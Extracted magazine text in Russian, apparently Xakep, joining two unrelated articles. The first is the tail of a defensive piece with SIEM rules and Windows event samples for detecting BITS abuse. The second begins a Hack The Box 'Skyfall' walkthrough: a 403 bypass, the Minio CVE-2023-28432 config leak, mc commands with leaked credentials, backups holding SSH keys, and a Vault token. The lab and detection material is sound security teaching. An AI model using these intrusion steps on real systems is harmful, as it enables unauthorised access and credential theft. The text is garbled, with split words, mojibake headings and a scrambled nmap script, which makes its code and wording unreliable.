180E9A60-F858-492A-9055-D3B1D3F72EE9}-MicrosoftEdgeUpdateSetup_X86_1.
3.195.15.exe</Data>

        <Data Name="**Id**">{F8D03DEA-C49F-4A9F-BBF3-9337E409CE2C}</
Data>

 

P3=2

       <Data Name="**url**">http://msedge.b.tlu.dl.delivery.mp.
microsoft.com/filestreamingservice/files/323fa7f7-4445-4137-82ec-
71528949182a?P1=1722785097&P2=404& &
P4=b%2farCiRMdKqBSgtd8%2bV%2bbnK29zSLqbnBPZJeUgvlbM7rZTcljJhLwZMe4jsU
espcM4FyazgXeWCs9xKWieG4pA%3d%3d
</Data>

         <Data Name="**peer**" />
 0       <Data Name="**hr**"> </Data>
        <Data Name="**fileTime**">2024-07-24T21:10:59.000000000Z</

Data>
        <Data Name="**fileLength**">1645112</Data>
        <Data Name="**bytesTotal**">1645112</Data>
        <Data Name="**bytesTransferred**">1645112</Data>
         <Data Name="**proxy**" />
 0       <Data Name="**peerProtocolFlags**"> </Data>
 0       <Data Name="**bytesTransferredFromPeer**"> </Data>
 0       <Data Name="**AdditionalInfoHr**"> </Data>
 0       <Data Name="**PeerContextInfo**"> </Data>
        <Data Name="**bandwidthLimit**">18446744073709551615</Data>
 false       <Data Name="**ignoreBandwidthLimitsOnLan**"> </Data>

   </EventData>
</Event>

Ин терес ные поля:
 — имя задачи;• name

 — иден тифика тор задачи;• Id

 — путь до фай ла, который необ ходимо заг рузить;• url

 — раз мер фай ла;• fileLength

 — количес тво передан ных бай тов.• bytesTransferred

Ïðè ìåð ñîáûòèÿ: çàäà÷à BITS çàâåð øåíà
 <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">

   <System>
  

 
       <Provider Name="**Microsoft-Windows-Bits-Client**" Guid="**{
EF1CC15B-46C1-414E-BB95-E76B077BD51E}**" />

4       <EventID> </EventID>
1       <Version> </Version>

4       <Level> </Level>
0       <Task> </Task>
0       <Opcode> </Opcode>

       <Keywords>0x4000000000000000</Keywords>
         <TimeCreated SystemTime="**2024-07-29T01:25:20.323389200Z**"

/>
1787       <EventRecordID> </EventRecordID>

        <Correlation />
          <Execution ProcessID="**5156**" ThreadID="**460**" />

       <Channel>Microsoft-Windows-Bits-Client/Operational</Channel>
       <Computer>DESKTOP-5SG4NV1</Computer>

         <Security UserID="**S-1-5-18**" />
   </System>

   <EventData>
        <Data Name="**User**">DESKTOP-5SG4NV1\qwer</Data>
        <Data Name="**jobTitle**">C:\Users\qwer\AppData\Local\Temp\{

180E9A60-F858-492A-9055-D3B1D3F72EE9}-MicrosoftEdgeUpdateSetup_X86_1.
3.195.15.exe</Data>

        <Data Name="**jobId**">{F8D03DEA-C49F-4A9F-BBF3-9337E409CE2C}
</Data>

        <Data Name="**jobOwner**">DESKTOP-5SG4NV1\qwer</Data>
 1       <Data Name="**fileCount**"> </Data>
        <Data Name="**bytesTransferred**">1645112</Data>
 0       <Data Name="**bytesTransferredFromPeer**"> </Data>

   </EventData>
</Event>

Ин терес ные поля:
 — имя задачи;• jobTitle

 — иден тифика тор задачи;• jobId

 — имя поль зовате ля;• jobOwner

 — количес тво передан ных фай лов в задаче;• fileCount

 — про цесс, который соз дал задачу;• processPath

 — количес тво передан ных бай тов.• bytesTransferred

Îáíàðóæèâàåì ñîçäàíèå è çàâåðøåíèå çàäà÷è
Да вай напишем пра вило обна руже ния рас смот ренной цепоч ки событий.

event Bits_create_job: 
   key: 
       event_src.host, object.id 
   filter { 
       msgid == "3" 
           and event_src.id == "Microsoft-Windows-Bits-Client" 
   } 

event Bits_started_download: 
   key: 
       event_src.host, object.id 
   filter { 
       msgid == "59" 
       and event_src.id == "Microsoft-Windows-Bits-Client" 
   } 

event Bits_fininished_job: 
   key: 
       event_src.host, object.id 
   filter { 
       msgid == "4" 
       and event_src.id == "Microsoft-Windows-Bits-Client" 
   } 

rule Create_bits_job_and_download: (Bits_create_job -> Bits_started_
download ->Bits_fininished_job) timer 30m 

Ес ли в течение 30 минут будут события соз дания, запус ка и завер шения
задачи с оди нако вым иден тифика тором, зарегис три рует ся кор реляци онное
событие.

Ñîçäàíèå çàäà÷è BITS ïîäîçðèòåëüíûì ïðîöåññîì
За дачи BITS соз дают ся про цес сами сис темы или при ложе ний. Ты можешь
сде лать таб личный спи сок с доверен ными про цес сами. Давай напишем пра- 
вило кор реляции, которое про веря ет про цесс в спис ке и соз дает событие
инци ден та. Нам понадо бит ся событие с  и белый спи сок

.

EventID = 3
BITS_process_whitelist

query CheckProcess($fullpath) from BITS_process_whitelist { 
   regex_match($fullpath, column::fullpath) 
} 

event Bits_create_job: 
   key: 
       event_src.host 
   filter { 
       msgid == "3" 
       and event_src.id == "Microsoft-Windows-Bits-Client" 
       and select_query_first("CheckProcess", [lower(object.process.
fullpath)], "fullpath") == null 
   } 

rule Create_bits_job_suspicious_process: Bits_create_job 

Ñîçäàíèå äî÷åðíåãî ïðîöåññà ñëóæáîé BITS
Про цесс, уста нов ленный в качес тве уве дом ления для задачи BITS, запус кает- 
ся от родитель ско го про цес са служ бы BITS:

C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS 

При мер события — ниже.

 <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
     

 
<Provider Name="**Microsoft-Windows-Sysmon**" Guid="**{

5770385f-c22a-43e0-bf4c-06f5698ffbd9}**" />
   1<EventID> </EventID>
   5<Version> </Version>
   4<Level> </Level>
   1<Task> </Task>
   0<Opcode> </Opcode>
   <Keywords>0x8000000000000000</Keywords>
     <TimeCreated SystemTime="**2024-08-09T19:28:36.1518177Z**" />
   <EventRecordID>6417785</EventRecordID>
    <Correlation />
      <Execution ProcessID="**6208**" ThreadID="**1520**" />
   <Channel>Microsoft-Windows-Sysmon/Operational</Channel>
   <Computer>DESKTOP-U2FH49E</Computer>
     <Security UserID="**S-1-5-18**" />
</System>
<EventData>
    -<Data Name="**RuleName**"> </Data>
    <Data Name="**UtcTime**">2024-08-09 19:28:36.150</Data>
    <Data Name="**ProcessGuid**">{95af35c7-6de4-66b6-2b09-
000000000400}</Data>
    4384<Data Name="**ProcessId**"> </Data>
    <Data Name="**Image**">C:\Windows\System32\cmd.exe</Data>
    <Data Name="**FileVersion**">10.0.19041.4355 (WinBuild.160101.
0800)</Data>
    <Data Name="**Description**">Windows Command Processor</Data>
    <Data Name="**Product**">Microsoft® Windows® Operating System</
Data>
    <Data Name="**Company**">Microsoft Corporation</Data>
    <Data Name="**OriginalFileName**">Cmd.Exe</Data>
    <Data Name="**CommandLine**">"c:\windows\system32\cmd.exe"</Data>
    <Data Name="**CurrentDirectory**">C:\Windows\system32\</Data>
    <Data Name="**User**">DESKTOP-U2FH49E\qwer</Data>
    <Data Name="**LogonGuid**">{95af35c7-1d58-66b5-45b9-010000000000}
</Data>
    <Data Name="**LogonId**">0x1b945</Data>
    1<Data Name="**TerminalSessionId**"> </Data>
    <Data Name="**IntegrityLevel**">Medium</Data>
    <Data Name="**Hashes**">
SHA1=DF79C86FDD11B9CCB89148458E509F879C72566C,
MD5=2B40C98ED0F7A1D3B091A3E8353132DC,
SHA256=BADF4752413CB0CBDC03FB95820CA167F0CDC63B597CCDB5EF43111180E088
B0,
IMPHASH=272245E2988E1E430500B852C4FB5E18</Data>
    <Data Name="**ParentProcessGuid**">{95af35c7-6ba5-66b6-b708-
000000000400}</Data>
    2720<Data Name="**ParentProcessId**"> </Data>
    <Data Name="**ParentImage**">C:\Windows\System32\svchost.exe</
Data>
    <Data Name="**ParentCommandLine**">C:\Windows\System32\svchost.
exe -k netsvcs -p -s BITS</Data>
    <Data Name="**ParentUser**">NT AUTHORITY\СИСТЕМА</Data>
</EventData>
</Event>

А вот пра вило для обна руже ния подоб ной активнос ти.

event Process_Start: 
   key: 
       event_src.host 
   filter { 
       filter::NotFromCorrelator() 
       and filter::ProcessStart_Windows_any() 
       and match(lower(object.process.parent.cmdline), "* -k 
netsvcs -p -s bits") 
   } 

rule Start_BITS_Notifycmdline: (Process_Start+) timer 5m 

Продолжение статьи →

https://github.com/d3f0x0/bits-tampering/tree/main
https://github.com/Security-Experts-Community/open-xp-rules


КЛОЧКИ

ПО ЗАКОУЛОЧКАМ
КАК УСТРОЕНА СЛУЖБА BITS

В WINDOWS, И КАК ЕЕ АТАКУЮТ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Пра вило обна ружи вает соз дание дочер них про цес сов служ бой BITS.

Îáíàðóæåíèå çàãðóçêè DLL
Для вза имо дей ствия с BITS исполь зуют ся две основные биб лиоте ки:

;• qmgrprxy.dll

.
• Microsoft.BackgroundIntelligentTransfer.Management.

Interop.dll

Ни же — при меры событий Sysmon с . Заг рузим вто рую биб- 

лиоте ку.

EventID = 7

 <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
     

 
<Provider Name="**Microsoft-Windows-Sysmon**" Guid="**{

5770385f-c22a-43e0-bf4c-06f5698ffbd9}**" />
   7<EventID> </EventID>
   3<Version> </Version>
   4<Level> </Level>
   7<Task> </Task>
   0<Opcode> </Opcode>
   <Keywords>0x8000000000000000</Keywords>
     <TimeCreated SystemTime="**2024-08-10T20:29:36.5882941Z**" />
   <EventRecordID>7413641</EventRecordID>
    <Correlation />
      <Execution ProcessID="**6208**" ThreadID="**1520**" />
   <Channel>Microsoft-Windows-Sysmon/Operational</Channel>
   <Computer>DESKTOP-U2FH49E</Computer>
     <Security UserID="**S-1-5-18**" />
</System>
<EventData>
    -<Data Name="**RuleName**"> </Data>
    <Data Name="**UtcTime**">2024-08-10 20:29:36.580</Data>
    <Data Name="**ProcessGuid**">{95af35c7-cdac-66b7-da0e-
000000000400}</Data>
    6968<Data Name="**ProcessId**"> </Data>
    <Data Name="**Image**">C:\Windows\System32\WindowsPowerShell\v1.
0\powershell.exe</Data>
    <Data Name="**ImageLoaded**">C:\Windows\System32\
WindowsPowerShell\v1.0\Modules\BitsTransfer\Microsoft.
BackgroundIntelligentTransfer.Management.Interop.dll</Data>
    <Data Name="**FileVersion**">7.8.19041.3636 (WinBuild.160101.
0800)</Data>
    <Data Name="**Description**">Microsoft Windows BITS Managed 
Library</Data>
    <Data Name="**Product**">Microsoft® Windows® Operating System</
Data>
    <Data Name="**Company**">Microsoft Corporation</Data>
    <Data Name="**OriginalFileName**">Microsoft.Windows.
BackgroundIntelligentTransfer.dll</Data>
    <Data Name="**Hashes**">
SHA1=2785F110A4A36D976A361FD9B679A0F70BF02CB1,
MD5=BDE937891014AFEC14D9BE150DD0D813,
SHA256=BB30E0267780BE6C5E2FBFB65C7E87147049B4088126974185848D2DDA5A48
4D,
IMPHASH=6FA5B0E24FA9A5CEB565C17E9AE09990</Data>
    true<Data Name="**Signed**"> </Data>
    <Data Name="**Signature**">Microsoft Windows</Data>
    Valid<Data Name="**SignatureStatus**"> </Data>

 <Data Name="**User**">DESKTOP-U2FH49E\qwer</Data>
</EventData>
</Event>

Заг рузка биб лиоте ки .BitsProxy.dll

 <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
     

 
<Provider Name="**Microsoft-Windows-Sysmon**" Guid="**{

5770385f-c22a-43e0-bf4c-06f5698ffbd9}**" />
   7<EventID> </EventID>
   3<Version> </Version>
   4<Level> </Level>
   7<Task> </Task>
   0<Opcode> </Opcode>
   <Keywords>0x8000000000000000</Keywords>
     <TimeCreated SystemTime="**2024-08-10T20:29:36.6217377Z**" />
   <EventRecordID>7413644</EventRecordID>
    <Correlation />
      <Execution ProcessID="**6208**" ThreadID="**1520**" />
   <Channel>Microsoft-Windows-Sysmon/Operational</Channel>
   <Computer>DESKTOP-U2FH49E</Computer>
     <Security UserID="**S-1-5-18**" />
</System>
<EventData>
    -<Data Name="**RuleName**"> </Data>
    <Data Name="**UtcTime**">2024-08-10 20:29:36.612</Data>
    <Data Name="**ProcessGuid**">{95af35c7-cdac-66b7-da0e-
000000000400}</Data>
    6968<Data Name="**ProcessId**"> </Data>
    <Data Name="**Image**">C:\Windows\System32\WindowsPowerShell\v1.
0\powershell.exe</Data>
    <Data Name="**ImageLoaded**">C:\Windows\System32\BitsProxy.dll</
Data>
    <Data Name="**FileVersion**">7.8.19041.1 (WinBuild.160101.0800)</
Data>
    <Data Name="**Description**">Background Intelligent Transfer 
Service Proxy</Data>
    <Data Name="**Product**">Microsoft® Windows® Operating System</
Data>
    <Data Name="**Company**">Microsoft Corporation</Data>
    <Data Name="**OriginalFileName**">qmgrprxy.dll</Data>
    <Data Name="**Hashes**">
SHA1=F76CEB9DA1BD2F4E9C02E49758C654630518A066,
MD5=B3E2BAEAD079C29BC16CAA7830A17FA6,
SHA256=E72BF2ADCE95F764BD880A458B04BA0BEBB0EBA7EB3473A29FDBE3A98F1A86
D5,
IMPHASH=44BEE37A834D6E66277D9ADD2D131FC2</Data>
    true<Data Name="**Signed**"> </Data>
    <Data Name="**Signature**">Microsoft Windows</Data>
    Valid<Data Name="**SignatureStatus**"> </Data>

 <Data Name="**User**">DESKTOP-U2FH49E\qwer</Data>
</EventData>
</Event>

Для обна руже ния будем исполь зовать уже извес тный тебе таб личный спи сок
. В пра виле про верим, что про цесс не вхо дит в таб- 

личный спи сок и имя заг ружа емо го модуля сов пада ет с инте ресу ющим нас.
BITS_process_whitelist

query CheckProcess($fullpath) from BITS_process_whitelist { 
   regex_match($fullpath, column::fullpath) 
} 
event Image_load: 
   key: 
       event_src.host 
   filter { 
       filter::NotFromCorrelator() 
       and msgid == "7" and event_src.title == "sysmon" 
       and select_query_first("CheckProcess", [lower(subject.
process.fullpath)], "fullpath") == null 
       and in_list(["bitsproxy.dll", "microsoft.
backgroundintelligenttransfer.management.interop.dll"], lower(object.
process.name)) 
   } 

rule Used_bits_over_custom_binary: Image_load[1,5] timer 1m 

Ñîçäàíèå âðåìåííîãî ôàéëà
Ес ли ты пом нишь, заг ружен ные фай лы ста новят ся дос тупны толь ко пос ле
перехо да задания в сос тояние . До того момен- 

та заг ружен ные фай лы име ют наз вание такого вида: , нап- 

ример: . Ниже — при мер события.

BG_JOB_STATE_ACKNOWLEDGED
BIT[\d\w]+\.tmp

BITD1F5.tmp

 <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
     

 
<Provider Name="**Microsoft-Windows-Sysmon**" Guid="**{

5770385f-c22a-43e0-bf4c-06f5698ffbd9}**" />
   11<EventID> </EventID>
   2<Version> </Version>
   4<Level> </Level>
   11<Task> </Task>
   0<Opcode> </Opcode>
   <Keywords>0x8000000000000000</Keywords>
     <TimeCreated SystemTime="**2024-08-03T11:58:21.3914420Z**" />
   55765<EventRecordID> </EventRecordID>
    <Correlation />
      <Execution ProcessID="**1412**" ThreadID="**9448**" />
   <Channel>Microsoft-Windows-Sysmon/Operational</Channel>
   <Computer>DESKTOP-U2FH49E</Computer>
     <Security UserID="**S-1-5-18**" />
</System>
<EventData>
    -<Data Name="**RuleName**"> </Data>
    <Data Name="**UtcTime**">2024-08-03 11:58:21.378</Data>
    <Data Name="**ProcessGuid**">{95af35c7-1a16-66ae-6226-
000000000300}</Data>
    1752<Data Name="**ProcessId**"> </Data>
    <Data Name="**Image**">C:\Windows\System32\svchost.exe</Data>
    <Data Name="**TargetFilename**">C:\Users\qwer\BITD1F5.tmp</Data>
    <Data Name="**CreationUtcTime**">2024-08-03 11:58:21.378</Data>
    <Data Name="**User**">NT AUTHORITY\СИСТЕМА</Data>
</EventData>
</Event>

На пишем пра вило, которое будет про верять, что имя фай ла соот ветс тву ет
пат терну .bit[\w\d]+\.tmp

event Create_file: 
   key: 
       event_src.host 
   filter { 
       filter::NotFromCorrelator() 
       and filter::FileCreate_Windows() 
       and regex(lower(object.name), "bit[\w\d]+\.tmp", 0) != null 
   } 

rule Download_file_via_bits: Create_file 

Èùåì àðãóìåíòû êîìàíäíîé ñòðîêè è êîìàíäëåòîâ PowerShell
Мы изу чили мно го спо собов вза имо дей ствия с BITS, нас тало вре мя написать
пра вило обна руже ния, осно ван ное на аргу мен тах ути литы bitsadmin и коман- 
дле тах PowerShell.

event Process_Start: 
   key: 
       event_src.host 
   filter { 
       filter::NotFromCorrelator() 
       and ( 
           filter::ProcessStart_Windows_commandline("bitsadmin.
exe", 
".*transfer.*|.*create.*|.*addfile.*|.*setnotifyflags.*|.*setnotifycm
dline.*|.*setminretrydelay.*|.*setcustomheaders.*|.*resume.*") 
           or 
               filter::ProcessStart_Windows_commandline("powershell.
exe", ".*start-bitstransfer.*|.*add-bitsfile.*|.*resume-bitstransfer.
*|.*set-bitstransfer.*|.*bits.manager.*") 
           or 
               filter::ProcessStart_Windows_commandline("powershell_
ise.exe", ".*start-bitstransfer.*|.*add-bitsfile.*|.*resume-
bitstransfer.*|.*set-bitstransfer.*|.*bits.manager.*") 
           ) 
   } 

event Powershell_Pipeline_Execute: 
   key: 
       event_src.host 
   filter { 
       filter::NotFromCorrelator() 
       and msgid == "4104" 
       and action == "execute" 
       and event_src.title == "windows" 
       and object == "command" 
       and event_src.subsys == "Microsoft-Windows-PowerShell/
Operational" 
       and ( 
           match(lower(object.process.cmdline),"*start-
bitstransfer*") 
           or 
           match(lower(object.process.cmdline),"*add-bitsfile*") 
           or 
       match(lower(object.process.cmdline),"resume-bitstransfer") 
           or 
           match(lower(object.process.cmdline),"*set-bitstransfer*") 
           or 
           match(lower(object.process.cmdline),"*bits.manager*") 

           # Командлеты PowerShell для WinRM 

           or match(lower(object.process.cmdline),"*wmi/root/
microsoft/bits/bitsclientjob*") 

           # Командлеты WMI https://learn.microsoft.com/ru-ru/
windows/win32/bits/bits-compact-server 

           or match(lower(object.process.cmdline),"*root\\microsoft\
\bits*") 

           or match(lower(object.process.
cmdline),"*bitscompactserverurlgroup*") 
   ) 
   } 

event Powershell_Command_Execute: 
   key: 
       event_src.host 
   filter { 
       filter::NotFromCorrelator() 
       and msgid == "4103" 
       and action == "execute" 
       and event_src.title == "windows" 
       and object == "command" 
       and event_src.subsys == "Microsoft-Windows-PowerShell/
Operational" 
       and ( 
       match(lower(object.process.cmdline),"*start-bitstransfer*") 
       or 
       match(lower(object.process.cmdline),"*add-bitsfile*") 
       or 
       match(lower(object.process.cmdline),"resume-bitstransfer") 
       or 
       match(lower(object.process.cmdline),"*set-bitstransfer*") 
       or 
       match(lower(object.process.cmdline),"*bits.manager*") 
       # Командлеты PowerShell для WinRM 
       or match(lower(object.process.cmdline),"*wmi/root/microsoft/
bits/bitsclientjob*") 

   # Командлеты WMI https://learn.microsoft.com/ru-ru/windows/win32/
bits/bits-compact-server 

       or 
               match(lower(object.process.cmdline),"*root\\
microsoft\\bits*") 
       or match(lower(object.process.
cmdline),"*bitscompactserverurlgroup*") 
       ) 
   } 

rule Create_bits_job_cmdline: (Process_Start or Powershell_Pipeline_
Execute or Powershell_Command_Execute) timer 5m 

Пра вило соз даст инци дент, если имя про цес са — ,

,  и аргу мен ты коман дной стро ки сов- 

пада ют с опре делен ным пат терном, а так же если в событи ях с EventID
4103 и 4104 жур нала  поля с коман дле тами сов пада ют с одной

из масок.

bitsadmin.exe
powershell.exe powershell_ise.exe

Operational

Îáíàðóæåíèå ýêñïëóàòàöèè BITS ñ ïîìîùüþ Windows Defender
Мы говори ли выше, что Windows Defender реаги рует на коман ды, исполь- 
зуемые для работы с BITS. Давай напишем пра вило кор реляции, которое
будет соз давать инци дент, если наз вание вер дикта Windows Defender сов- 
пада ет с мас кой .*bits*

event Defender_alert: 
   key: 
       event_src.host 
   filter { 
       msgid == "1116" 
       and event_src.subsys == "Microsoft-Windows-Windows Defender/
Operational" 
       and match(lower(object.name), "*bits*") 
} 

rule Windows_defender_BITS_alert: Defender_alert+ timer 5m 

При мер события Windows Defender:

 <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
     

 
<Provider Name="**Microsoft-Windows-Windows Defender**" Guid="**{

11cd958a-c507-4ef3-b3f2-5fd9dfbd2c78}**" />
   1116<EventID> </EventID>
   0<Version> </Version>
   3<Level> </Level>
   0<Task> </Task>
   0<Opcode> </Opcode>
   <Keywords>0x8000000000000000</Keywords>
     <TimeCreated SystemTime="**2024-08-11T19:12:41.8598837Z**" />
   1051<EventRecordID> </EventRecordID>
    <Correlation />
      <Execution ProcessID="**3580**" ThreadID="**2036**" />
   <Channel>Microsoft-Windows-Windows Defender/Operational</Channel>
   <Computer>DESKTOP-U2FH49E</Computer>
     <Security UserID="**S-1-5-18**" />
</System>
<EventData>
    <Data Name="**Product Name**">Антивирусная программа Microsoft 
Defender</Data>
    <Data Name="**Product Version**">4.18.24070.5</Data>
    <Data Name="**Detection ID**">{0F54C4AA-B2B9-4FA7-BE0F-
ADE9E3F93620}</Data>
    <Data Name="**Detection Time**">2024-08-11T19:12:41.858Z</Data>
     <Data Name="**Unused**" />
     <Data Name="**Unused2**" />
    <Data Name="**Threat ID**">2147728776</Data>
    <Data Name="**Threat Name**">Behavior:Win32/BITSAbuse.As</Data>
    5<Data Name="**Severity ID**"> </Data>
    <Data Name="**Severity Name**">Критический</Data>
    46<Data Name="**Category ID**"> </Data>
    <Data Name="**Category Name**">Подозрительное поведение</Data>
    <Data Name="**FWLink**">https://go.microsoft.com/fwlink/?
linkid=37020&name=Behavior:Win32/BITSAbuse.As&threatid=2147728776&
enterprise=0</Data>
    1<Data Name="**Status Code**"> </Data>
     <Data Name="**Status Description**" />
    1<Data Name="**State**"> </Data>
    0<Data Name="**Source ID**"> </Data>
    <Data Name="**Source Name**">Неизвестно</Data>
    <Data Name="**Process Name**">Unknown</Data>
     <Data Name="**Detection User**" />
     <Data Name="**Unused3**" />
    <Data Name="**Path**">behavior:_process: C:\Windows\System32\
bitsadmin.exe, pid:420:111822694772619; process:_pid:420,
ProcessStart:133678771617165578</Data>
    0<Data Name="**Origin ID**"> </Data>
    <Data Name="**Origin Name**">Неизвестно</Data>
    3<Data Name="**Execution ID**"> </Data>
    <Data Name="**Execution Name**">Выполнение</Data>
    0<Data Name="**Type ID**"> </Data>
    <Data Name="**Type Name**">Конкретный</Data>
    0<Data Name="**Pre Execution Status**"> </Data>
    9<Data Name="**Action ID**"> </Data>
    <Data Name="**Action Name**">Неприменимо</Data>
     <Data Name="**Unused4**" />
    <Data Name="**Error Code**">0x00000000</Data>
    <Data Name="**Error Description**">Операция успешно завершена.</
Data>
     <Data Name="**Unused5**" />
    0<Data Name="**Post Clean Status**"> </Data>
    0<Data Name="**Additional Actions ID**"> </Data>
    <Data Name="**Additional Actions String**">No additional actions 
required</Data>
     <Data Name="**Remediation User**" />
     <Data Name="**Unused6**" />
    <Data Name="**Security intelligence Version**">AV: 1.417.66.0, 
AS: 1.417.66.0, NIS: 1.417.66.0</Data>
    <Data Name="**Engine Version**">AM: 1.1.24070.3, NIS: 1.1.24070.3
</Data>
   </EventData>
</Event>

WWW

Все пра вила обна руже ния из этой статьи ты
можешь най ти в  на GitHub.пул-рек весте

ÂÛÂÎÄÛ

Не сек рет, что в опе раци онных сис темах есть все нуж ное для дос тижения
целей хакеров. Дос таточ но вник нуть в тон кости работы стан дар тных инс тру- 
мен тов, и при необ ходимос ти мож но не толь ко обой тись ими, но и луч ше
избе жать обна руже ния.

За щит никам же рекомен дую вни матель нее писать пра вила и ста рать ся
добить ся уве личе ния как точ ности (precision), так и пол ноты (recall).

https://github.com/Security-Experts-Community/open-xp-rules/pull/435


RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

Се год ня мы порабо таем с сис темой хра- 
нения сек ретов HashiCorp Vault и извле чем
из нее кри тич ные дан ные. Так же обой дем
кон троль дос тупа к стра нице на веб-сер- 
вере и про экс плу ати руем баг рас кры тия
дан ных в Minio, а при повыше нии при виле- 
гий исполь зуем неп равиль ный кон троль
дос тупа к фай лу в Linux.

На ша цель — получе ние прав супер поль зовате ля на машине Skyfall с учеб ной
пло щад ки . Уро вень ее слож ности — «безум ный».Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.254 skyfall.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел все го два откры тых пор та:
22 — служ ба OpenSSH 8.9p1;•
80 — веб-сер вер Nginx 1.18.0.•

Сра зу про веря ем, что нам покажет веб-сер вер, и видим глав ную стра ницу
сай та.

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ

Изу чая сайт, находим ссыл ку на новый для нас под домен.

Глав ная стра ница сай та

Преж де чем смот реть этот сайт, сна чала обно вим запись в :/etc/hosts

10.10.11.254 skyfall.htb demo.skyfall.htb 

На най ден ном сай те нас встре чает фор ма авто риза ции.

Фор ма авто риза ции

Так как сайт работа ет в демо-режиме, в фор ме отоб ража ются учет ные дан- 
ные .guest:guest

Глав ная стра ница сай та demo.skyfall.htb

Прос матри вая стра ницы сай та, доходим до раз дела Minio Metrics, где нас
встре чает ошиб ка 403, свя зан ная с огра ниче нием дос тупа.

Ошиб ка 403

Îáõîä 403
Пос коль ку исполь зует ся веб-сер вер Nginx, мож но поп робовать при менить
спе циаль ные пос ледова тель нос ти в пути стра ницы, что бы обой ти кон троль
дос тупа. Я переб рал раз ные наг рузки с помощью Burp Intruder и опре делил
два пути, которые воз вра щают содер жимое стра ницы .metrics

Ре зуль тат перебо ра в Burp Intruder

Со дер жимое стра ницы metrics

В пред став ленной таб лице видим . Пос коль ку мы наш ли

еще один под домен, добавим и его в .

minio_endpoint_url
/etc/hosts

10.10.11.254 skyfall.htb demo.skyfall.htb prd23-s3-backend.skyfall.
htb 

А теперь пос мотрим, что там.

Со дер жимое сай та prd23-s3-backend.skyfall.htb

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/


HTB SKYFALL
ДОБЫВАЕМ КЛЮЧ SSH

ИЗ HASHICORP VAULT

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ

Minio — это высокоп роиз водитель ное орга низо ван ное объ ектное хра нили ще.
Пос ледний пуб личный экс пло ит для Minio — CVE-2023–28432. Он поз воля ет
неав торизо ван ному поль зовате лю получить кон фиг, содер жащий учет ные
дан ные. Экс плу ата ция очень прос тая, нуж но все го лишь выпол нить POST-зап- 
рос на стра ницу ./minio/bootstrap/v1/verify

Файл кон фигура ций Minio

Для работы с Minio пот ребу ется кон соль ная ути лита , ска чать которую мож- 

но на .

mc
офи циаль ном сай те

wget https://dl.min.io/client/mc/release/linux-amd64/mc 
chmod +x mc 

Пер вым делом необ ходимо соз дать alias для под клю чения к сер веру.
Зададим имя аль яса, адрес и учет ные дан ные.

mc alias set myminio http://prd23-s3-backend.skyfall.htb 
5GrE1B2YGGyZzNHZaIww GkpjkmiVmpFuL2d3oRx0 

Соз дание аль яса для mc

Ког да все готово, мож но прис тупить к работе с Minio. Для начала зап росим
содер жимое хра нили ща.

./mc ls myminio 

Со дер жимое хра нили ща Minio

Что бы не прос матри вать каж дый каталог отдель но, мож но выпол нить рекур- 
сивный вывод содер жимого.

./mc   ls --recursive --versions myminio 

Со дер жимое хра нили ща Minio

В катало ге  есть три вер сии архи ва . Конеч но же,

ска чаем их на локаль ный хост.

askyy home_backup.tar.gz

./mc  cp --vid 3c498578-8dfe-43b7-b679-32a3fe42018f myminio/askyy/
home_backup.tar.gz ./home_backup_1.tar.gz 
./mc  cp --vid 2b75346d-2a47-4203-ab09-3c9f878466b8 myminio/askyy/
home_backup.tar.gz ./home_backup_2.tar.gz 
./mc  cp --vid 25835695-5e73-4c13-82f7-30fd2da2cf61 myminio/askyy/
home_backup.tar.gz ./home_backup_3.tar.gz 

Заг рузка дан ных

В одном из архи вов наш лись пуб личный и при ват ный клю чи SSH.

Со дер жимое пер вого архи ва

Но при попыт ке под клю чения у нас зат ребу ют пароль, а зна чит, это не сов сем
вер ный путь.

ÏÐÎÄÂÈÆÅÍÈÅ

Вер ным решени ем ока залось поис кать сре ди фай лов подс тро ку 

.

skyfall.
htb

 / grep -iR skyfall.htb ./home_backup_*

Ре зуль тат поис ка

В ито ге находим еще один новый ресурс — 

. Добавим в  и его.

prd23-vault-internal.
skyfall.htb /etc/hosts

10.10.11.254 skyfall.htb demo.skyfall.htb prd23-s3-backend.skyfall.
htb prd23-vault-internal.skyfall.htb 

Прос матри ваем файл  и находим там еще и ..bashrc VAULT_TOKEN

Со дер жимое фай ла .bashrc

INFO

HashiCorp Vault — это сис тема управле ния сек- 
ретами, раз работан ная для хра нения паролей,
клю чей, сер тифика тов и про чих дан ных. Vault
поз воля ет цен тра лизо ван но хра нить, управлять
и кон тро лиро вать дос туп к этим сек ретам, а так- 
же пре дос тавля ет механиз мы для шиф рования.
Vault исполь зует полити ки (policies), что бы огра- 
ничить дос туп к сек ретам и дру гим ресур сам.

